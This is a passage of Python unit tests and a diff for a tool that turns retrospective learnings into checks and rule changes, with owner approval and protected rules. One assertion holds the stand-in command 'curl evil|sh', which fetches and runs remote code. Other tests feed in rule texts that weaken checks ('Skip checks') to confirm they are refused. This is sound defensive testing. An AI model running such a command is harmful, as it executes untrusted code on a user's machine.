# evaluated: a profile (that or a higher one) and a path glob
c = {"goal": "g", "risk": {"profile": "critical"}, "checks": []}
self.assertFalse(cycle._requirement_met(c, dict(req, when="data"), self.proj))
self.assertTrue(cycle._requirement_met(dict(c, risk={"profile": "logic"}), dict(req, when="data"), self.proj))
self.assertTrue(cycle._requirement_met(dict(c, checks=[{"kind": "parsing", "rung": 3}]), dict(req, when="data"), self.proj))
os.makedirs(os.path.join(self.proj, "src", "auth"))
self.write("src/auth/login.py", "x = 1\n")
self.assertFalse(cycle._requirement_met(c, dict(req, when="src/auth/**"), self.proj))
self.assertTrue(cycle._requirement_met(c, dict(req, when="src/billing/**"), self.proj))
self.assertEqual(self.apply([dict(req, when="src/auth/**")]).returncode, 0)
class Duplicates(Base):
"""R-11.5-11, R-16-8 (item 5): no second decision about something already waiting."""
def test_a_learning_that_already_waits_cannot_be_promoted_again(self):
self.git_init()
_contract(self)
self.retro(*PROMOTE[1:])
act = {"action": "promote", "learning": "L-0001", "mechanism_kind": "command-check", "cmd": "make deploy"}
self.assertEqual(self.apply([act]).returncode, 0)
r = self.apply([dict(act, cmd="make deploy2")], base=L.store_base())
self.assertEqual(r.returncode, 2)
self.assertIn("already waits for the owner (P-0001)", r.stderr)
self.assertEqual(len(self.pending()), 1)
def test_a_second_replacement_of_the_same_rule_is_refused_while_the_first_waits(self):
_contract(self)
a, b = "L-0001", None
self.another(0)
b = self.another(1)
text = "## Deliver {#deliver-fast}\n\nShip it.\n\nWhy: speed.\n"
rep = lambda lid: {"action": "promote", "learning": lid, "mechanism_kind": "rule-replace",
"rule_id": "deliver-fast", "rule_text": text,
"shortens": "nothing: the rule is already short"}
self.assertEqual(self.apply([rep(a)]).returncode, 0)
r = self.apply([rep(b)], base=L.store_base())
self.assertEqual(r.returncode, 2)
self.assertIn("rule deliver-fast already has a change waiting (P-0001)", r.stderr)
# two in one file: the second is refused too, and so is disabling a rule with a change waiting
c, d = self.another(2), self.another(3)
rep2 = lambda lid: dict(rep(lid), rule_id="orchestrate", rule_text="## O {#orchestrate}\n\nDelegate.\n\nWhy: cost.\n")
r = self.apply([rep2(c), rep2(d)], base=L.store_base())
self.assertIn("in this file", r.stderr)
r = self.apply([{"action": "disable-rule", "rule_id": "deliver-fast"}], base=L.store_base())
self.assertIn("already has a change", r.stderr)
self.assertEqual(len(self.pending()), 1)
+74 -39
View File
@@ -110,6 +110,18 @@ class Base(SisiCase):
self.assertEqual(r.returncode, 0, r.stderr) self.assertEqual(r.returncode, 0, r.stderr)
return other return other
def another(self, n):
"""A further proposed learning (L-000n), recorded as its own (--new) with words of its own."""
word = ("alpha bravo charlie delta echo foxtrot golf hotel india juliet kilo lima mike november oscar papa "
"quebec romeo sierra tango").split()[n]
r = self.retro("--new", "--finding", "the %s importer dropped %s rows in the nightly run" % (word, 10 + n),
"--cause", "no fixture covered the %s case" % word, "--impact", "correctness",
"--disposition", "promote", "--change", "add a %s fixture to the importer tests" % word,
"--mechanism", "verification", "--expect", "the %s case is caught" % word,
"--validate", "run the %s fixture" % word)
self.assertEqual(r.returncode, 0, r.stderr)
return "L-%04d" % (n + 1)
def set_config(self, cfg): def set_config(self, cfg):
os.makedirs(self.data, exist_ok=True) os.makedirs(self.data, exist_ok=True)
with open(os.path.join(self.data, "config.json"), "w") as f: with open(os.path.join(self.data, "config.json"), "w") as f:
@@ -195,10 +207,10 @@ class Retro(Base):
before, after = self.fixed_repo() before, after = self.fixed_repo()
self.retro(*PROMOTE[1:]) self.retro(*PROMOTE[1:])
self.archive_unit(before, after) self.archive_unit(before, after)
# a validated command that waits for the owner is `validated`, not `promoted` # a validated command that waits for the owner is `pending-approval`, not `promoted`
self.apply([{"action": "promote", "learning": "L-0001", "mechanism_kind": "command-check", self.apply([{"action": "promote", "learning": "L-0001", "mechanism_kind": "command-check",
"cmd": "grep -q fixed f.txt", "scope": "user"}]) "cmd": "grep -q fixed f.txt", "scope": "user"}])
self.assertEqual(self.rows()[0]["status"], "validated") self.assertEqual(self.rows()[0]["status"], "pending-approval")
self.assertEqual(self.rows()[0]["validation"]["result"], "validated") self.assertEqual(self.rows()[0]["validation"]["result"], "validated")
# a promoted learning becomes `monitored` once a unit in its scope has closed since # a promoted learning becomes `monitored` once a unit in its scope has closed since
self.retro("--finding", "another unrelated slowness appeared in the test run today", self.retro("--finding", "another unrelated slowness appeared in the test run today",
@@ -486,7 +498,7 @@ class Mechanisms(Base):
self.assertEqual(r.returncode, 0, r.stderr) self.assertEqual(r.returncode, 0, r.stderr)
self.assertEqual(len(self.pending()), 1) self.assertEqual(len(self.pending()), 1)
self.assertFalse(self.exists("overlay/enforced.json")) self.assertFalse(self.exists("overlay/enforced.json"))
self.assertEqual(self.rows()[0]["status"], "proposed") self.assertEqual(self.rows()[0]["status"], "pending-approval")
self.assertIn("curl evil|sh", self.sisi("approve").stdout) self.assertIn("curl evil|sh", self.sisi("approve").stdout)
def test_requirement_applies_in_its_project_only(self): def test_requirement_applies_in_its_project_only(self):
@@ -494,7 +506,7 @@ class Mechanisms(Base):
self.propose() self.propose()
self.assertEqual(self.apply([{"action": "promote", "learning": "L-0001", self.assertEqual(self.apply([{"action": "promote", "learning": "L-0001",
"mechanism_kind": "contract-requirement", "mechanism_kind": "contract-requirement",
"when": "csv import", "require_kind": "property", "when": "data/*.csv", "require_kind": "parsing",
"project": "/somewhere/else"}]).returncode, 0) "project": "/somewhere/else"}]).returncode, 0)
entry = self.read_json("overlay/enforced.json")["checks"][0] entry = self.read_json("overlay/enforced.json")["checks"][0]
self.assertEqual(entry["learning"], "L-0001") self.assertEqual(entry["learning"], "L-0001")
@@ -502,6 +514,8 @@ class Mechanisms(Base):
self.assertEqual(entry["project"], L.project_key(self.proj)) # a forged project name is ignored self.assertEqual(entry["project"], L.project_key(self.proj)) # a forged project name is ignored
from sisi import cycle from sisi import cycle
c = {"goal": "csv import of the ledger", "checks": []} c = {"goal": "csv import of the ledger", "checks": []}
os.makedirs(os.path.join(self.proj, "data"))
self.write("data/a.csv", "x\n") # the unit changes a path the requirement is about
self.assertEqual(len(cycle.enforced_results(c, self.proj)), 1) self.assertEqual(len(cycle.enforced_results(c, self.proj)), 1)
self.assertEqual(cycle.enforced_results(c, self.other_project()), []) self.assertEqual(cycle.enforced_results(c, self.other_project()), [])
@@ -522,9 +536,10 @@ class Mechanisms(Base):
def test_forged_scope_flags_make_it_wait_not_apply(self): def test_forged_scope_flags_make_it_wait_not_apply(self):
"""The cycle author asks for more scope (scope, every_project): that only ever makes it wait.""" """The cycle author asks for more scope (scope, every_project): that only ever makes it wait."""
self.propose() self.propose()
for forged in ({"scope": "organization"}, {"every_project": True}, {"scope": "user"}): for n, forged in enumerate(({"scope": "organization"}, {"every_project": True}, {"scope": "user"})):
with self.subTest(forged=forged): with self.subTest(forged=forged):
a = {"action": "promote", "learning": "L-0001", "mechanism_kind": "risk", lid = "L-0001" if n == 0 else self.another(n)
a = {"action": "promote", "learning": lid, "mechanism_kind": "risk",
"pattern": "src/**", "profile": "logic"} "pattern": "src/**", "profile": "logic"}
a.update(forged) a.update(forged)
before = len(self.pending()) before = len(self.pending())
@@ -609,25 +624,48 @@ class Mechanisms(Base):
self.assertEqual(len(self.pending()), 1) self.assertEqual(len(self.pending()), 1)
def test_rule_text_from_one_incident_waits_and_protected_is_refused(self): def test_rule_text_from_one_incident_waits_and_protected_is_refused(self):
"""R-11.7-2, R-11.5-11: rule text from one project's learning reaches every project, so it """R-11.7-2, R-11.5-11: a sentence added to a rule from one project's learning reaches every
waits; replacing an existing rule always waits; a protected rule is refused outright.""" project, so it waits; once earned it applies; replacing a whole rule always waits; a protected
rule is refused outright."""
self.propose() self.propose()
rule = "## Check contents {#check-contents}\n\nAssert file contents before delivery.\n\nWhy: a bug shipped.\n" add = {"action": "promote", "learning": "L-0001", "mechanism_kind": "rule-add", "rule_id": "deliver-fast",
self.assertEqual(self.apply([{"action": "promote", "learning": "L-0001", "mechanism_kind": "rule-text", "add": "Say which check you skipped and why, in the report.",
"rule_id": "check-contents", "rule_text": rule}]).returncode, 0) "shortens": "nothing: the rule is one paragraph and every sentence is needed"}
self.assertEqual(self.apply([add]).returncode, 0)
self.assertEqual(len(self.pending()), 1) self.assertEqual(len(self.pending()), 1)
self.assertFalse(self.exists("overlay/rules/check-contents.md")) self.assertEqual(self.rows()[0]["status"], "pending-approval")
self.earn("L-0001") from sisi import overlay
self.assertEqual(self.apply([{"action": "promote", "learning": "L-0001", "mechanism_kind": "rule-text", self.assertNotIn("check you skipped", overlay.render())
"rule_id": "check-contents", "rule_text": rule}], base=L.store_base()).returncode, 0) # a decision by the owner makes it a revertible cycle; the sentence is in the loaded rulebook
self.assertTrue(self.exists("overlay/rules/check-contents.md")) # earned: an addition applies with self.tty():
self.assertEqual(self.sisi("approve", "P-0001", "--yes").returncode, 0)
self.assertIn("check you skipped", overlay.render())
# the sentence went before the rule's Why paragraph
body = overlay.render().split("{#deliver-fast}", 1)[1]
self.assertLess(body.index("check you skipped"), body.index("Why:"))
# earned scope: a second learning that was seen in two units in two projects applies at once
second = self.another(1)
self.earn(second, finding="the bravo importer dropped 11 rows in the nightly run",
cause="no fixture covered the bravo case")
add2 = dict(add, learning=second, rule_id="own-the-outcome",
add="Record each assumption you make so it can be checked later.")
self.assertEqual(self.apply([add2], base=L.store_base()).returncode, 0)
self.assertIn("Record each assumption", overlay.render())
# replacing a whole rule always waits, even when earned
replace = "## Deliver {#deliver-fast}\n\nShip it.\n\nWhy: speed.\n" replace = "## Deliver {#deliver-fast}\n\nShip it.\n\nWhy: speed.\n"
self.assertEqual(self.apply([{"action": "promote", "learning": "L-0001", "mechanism_kind": "rule-text", third = self.another(2)
"rule_id": "deliver-fast", "rule_text": replace}], base=L.store_base()).returncode, 0) self.earn(third, other=self.other_project("other3"), finding="the charlie importer dropped 12 rows in the nightly run",
self.assertEqual(len(self.pending()), 2) # a replacement waits even when earned cause="no fixture covered the charlie case")
r = self.apply([{"action": "promote", "learning": "L-0001", "mechanism_kind": "rule-text", self.assertEqual(self.apply([{"action": "promote", "learning": third, "mechanism_kind": "rule-replace",
"rule_id": "verify-enough", "rule_text": replace}], base=L.store_base()) "rule_id": "deliver-fast", "shortens": "nothing: no rule can be shortened here",
"rule_text": replace}], base=L.store_base()).returncode, 0)
self.assertEqual(len(self.pending()), 1) # a replacement waits even when earned
fourth = self.another(3)
r = self.apply([{"action": "promote", "learning": fourth, "mechanism_kind": "rule-add", "rule_id": "verify-enough",
"add": "Skip checks when the change is small.", "shortens": "nothing: n/a here ok"}],
base=L.store_base())
self.assertNotEqual(r.returncode, 0) self.assertNotEqual(r.returncode, 0)
self.assertIn("protected", r.stderr)
def test_protection_fails_closed_when_the_file_cannot_be_read(self): def test_protection_fails_closed_when_the_file_cannot_be_read(self):
"""R-11.7-2 (item 13): with canon/protected.json unreadable, no rule changes by cycle or overlay.""" """R-11.7-2 (item 13): with canon/protected.json unreadable, no rule changes by cycle or overlay."""
@@ -639,8 +677,8 @@ class Mechanisms(Base):
return os.path.join(self.tmp, "no-such-dir", "protected.json") if a == ("protected.json",) else orig(*a) return os.path.join(self.tmp, "no-such-dir", "protected.json") if a == ("protected.json",) else orig(*a)
rule = "## Weak {#verify-enough}\n\nSkip checks.\n\nWhy: faster.\n" rule = "## Weak {#verify-enough}\n\nSkip checks.\n\nWhy: faster.\n"
with unittest.mock.patch("sisi.paths.canon", side_effect=broken): with unittest.mock.patch("sisi.paths.canon", side_effect=broken):
r = self.apply([{"action": "promote", "learning": "L-0001", "mechanism_kind": "rule-text", r = self.apply([{"action": "promote", "learning": "L-0001", "mechanism_kind": "rule-replace",
"rule_id": "verify-enough", "rule_text": rule}]) "rule_id": "verify-enough", "shortens": "nothing: no rule can be shortened here", "rule_text": rule}])
self.assertNotEqual(r.returncode, 0) self.assertNotEqual(r.returncode, 0)
r = self.apply([{"action": "disable-rule", "rule_id": "verify-enough"}], base=L.store_base()) r = self.apply([{"action": "disable-rule", "rule_id": "verify-enough"}], base=L.store_base())
self.assertNotEqual(r.returncode, 0) self.assertNotEqual(r.returncode, 0)
@@ -673,8 +711,8 @@ class Mechanisms(Base):
"retro-every-time", "strongest-check"]) "retro-every-time", "strongest-check"])
for rid in protected + old_ids: for rid in protected + old_ids:
rule = "## Weak {#%s}\n\nSkip checks.\n\nWhy: faster.\n" % rid rule = "## Weak {#%s}\n\nSkip checks.\n\nWhy: faster.\n" % rid
r = self.apply([{"action": "promote", "learning": "L-0001", "mechanism_kind": "rule-text", r = self.apply([{"action": "promote", "learning": "L-0001", "mechanism_kind": "rule-replace",
"rule_id": rid, "rule_text": rule}], base=L.store_base()) "rule_id": rid, "shortens": "nothing: no rule can be shortened here", "rule_text": rule}], base=L.store_base())
self.assertNotEqual(r.returncode, 0, rid) self.assertNotEqual(r.returncode, 0, rid)
r = self.apply([{"action": "disable-rule", "rule_id": rid}], base=L.store_base()) r = self.apply([{"action": "disable-rule", "rule_id": rid}], base=L.store_base())
self.assertNotEqual(r.returncode, 0, rid) self.assertNotEqual(r.returncode, 0, rid)
@@ -689,8 +727,8 @@ class Mechanisms(Base):
base = L.store_base() base = L.store_base()
cases = [ cases = [
{"base": base, "actions": [{"action": "promote", "learning": "L-0001", {"base": base, "actions": [{"action": "promote", "learning": "L-0001",
"mechanism_kind": "rule-text", "rule_id": "verify-enough", "mechanism_kind": "rule-replace", "rule_id": "verify-enough",
"rule_text": "## Weak {#verify-enough}\n\nSkip checks.\n\nWhy: faster.\n"}]}, "shortens": "nothing: no rule can be shortened here", "rule_text": "## Weak {#verify-enough}\n\nSkip checks.\n\nWhy: faster.\n"}]},
{"base": "stale", "actions": [{"action": "promote", "learning": "L-0001", {"base": "stale", "actions": [{"action": "promote", "learning": "L-0001",
"mechanism_kind": "risk", "pattern": "x/**", "profile": "logic"}]}, "mechanism_kind": "risk", "pattern": "x/**", "profile": "logic"}]},
{"base": base, "actions": [{"action": "promote", "learning": "L-0001", {"base": base, "actions": [{"action": "promote", "learning": "L-0001",
@@ -762,14 +800,11 @@ class Approval(Base):
"""The listing prints the command, the pattern and profile, the rule text diff.""" """The listing prints the command, the pattern and profile, the rule text diff."""
self.park_command() self.park_command()
rule = "## Deliver {#deliver-fast}\n\nShip it at once.\n\nWhy: speed.\n" rule = "## Deliver {#deliver-fast}\n\nShip it at once.\n\nWhy: speed.\n"
self.apply([{"action": "promote", "learning": "L-0001", "mechanism_kind": "rule-text", two, three = self.another(1), self.another(2)
"rule_id": "deliver-fast", "rule_text": rule}, self.apply([{"action": "promote", "learning": two, "mechanism_kind": "rule-replace",
"rule_id": "deliver-fast", "shortens": "nothing: no rule can be shortened here", "rule_text": rule},
], base=L.store_base()) ], base=L.store_base())
self.retro("--finding", "the release notes template was edited by hand again today", self.apply([{"action": "promote", "learning": three, "mechanism_kind": "risk",
"--cause", "no generator exists for the notes", "--impact", "time",
"--disposition", "promote", "--change", "generate the notes from the changelog",
"--mechanism", "infrastructure", "--expect", "no hand edits", "--validate", "diff the output")
self.apply([{"action": "promote", "learning": "L-0002", "mechanism_kind": "risk",
"pattern": "src/auth/**", "profile": "trivial"}], base=L.store_base()) "pattern": "src/auth/**", "profile": "trivial"}], base=L.store_base())
out = self.sisi("approve").stdout out = self.sisi("approve").stdout
self.assertIn("make deploy --force-everything", out) self.assertIn("make deploy --force-everything", out)
@@ -1140,8 +1175,8 @@ class Cycle(Base):
before = f.read() before = f.read()
r = self.apply([{"action": "promote", "learning": "L-0001", "mechanism_kind": "risk", r = self.apply([{"action": "promote", "learning": "L-0001", "mechanism_kind": "risk",
"pattern": "f.txt", "profile": "logic"}, "pattern": "f.txt", "profile": "logic"},
{"action": "promote", "learning": "L-0002", "mechanism_kind": "rule-text", {"action": "promote", "learning": "L-0002", "mechanism_kind": "rule-replace",
"rule_id": "huge-rule", "rule_text": big}]) "rule_id": "huge-rule", "shortens": "nothing: no rule can be shortened here", "rule_text": big}])
self.assertNotEqual(r.returncode, 0) self.assertNotEqual(r.returncode, 0)
self.assertIn("budget", r.stderr) self.assertIn("budget", r.stderr)
self.assertFalse(self.exists("overlay/risk-adjustments.json")) self.assertFalse(self.exists("overlay/risk-adjustments.json"))
@@ -1236,7 +1271,7 @@ class Cycle(Base):
self.assertEqual(self.rows()[0]["status"], "promoted") self.assertEqual(self.rows()[0]["status"], "promoted")
self.assertEqual(self.sisi("cycle", "revert").returncode, 0) self.assertEqual(self.sisi("cycle", "revert").returncode, 0)
self.assertFalse(self.exists("overlay/enforced.json")) self.assertFalse(self.exists("overlay/enforced.json"))
self.assertEqual(self.rows()[0]["status"], "proposed") self.assertEqual(self.rows()[0]["status"], "proposed") # no decision waits for it any more
class Migration(Base): class Migration(Base):
@@ -1434,8 +1469,8 @@ class Product(Base):
self.assertNotIn("L-0001", self.sisi("rule", "deliver-fast", cwd=self.other_project("o2")).stdout) self.assertNotIn("L-0001", self.sisi("rule", "deliver-fast", cwd=self.other_project("o2")).stdout)
self.earn("L-0001") self.earn("L-0001")
rule = "## Deliver {#deliver-fast}\n\nShip it at once.\n\nWhy: speed.\n" rule = "## Deliver {#deliver-fast}\n\nShip it at once.\n\nWhy: speed.\n"
self.assertEqual(self.apply([{"action": "promote", "learning": "L-0001", "mechanism_kind": "rule-text", self.assertEqual(self.apply([{"action": "promote", "learning": "L-0001", "mechanism_kind": "rule-replace",
"rule_id": "deliver-fast", "rule_text": rule}]).returncode, 0) "rule_id": "deliver-fast", "shortens": "nothing: no rule can be shortened here", "rule_text": rule}]).returncode, 0)
with self.tty(): with self.tty():
self.sisi("approve", "P-0001", "--yes") self.sisi("approve", "P-0001", "--yes")
hist = self.sisi("rule", "deliver-fast").stdout hist = self.sisi("rule", "deliver-fast").stdout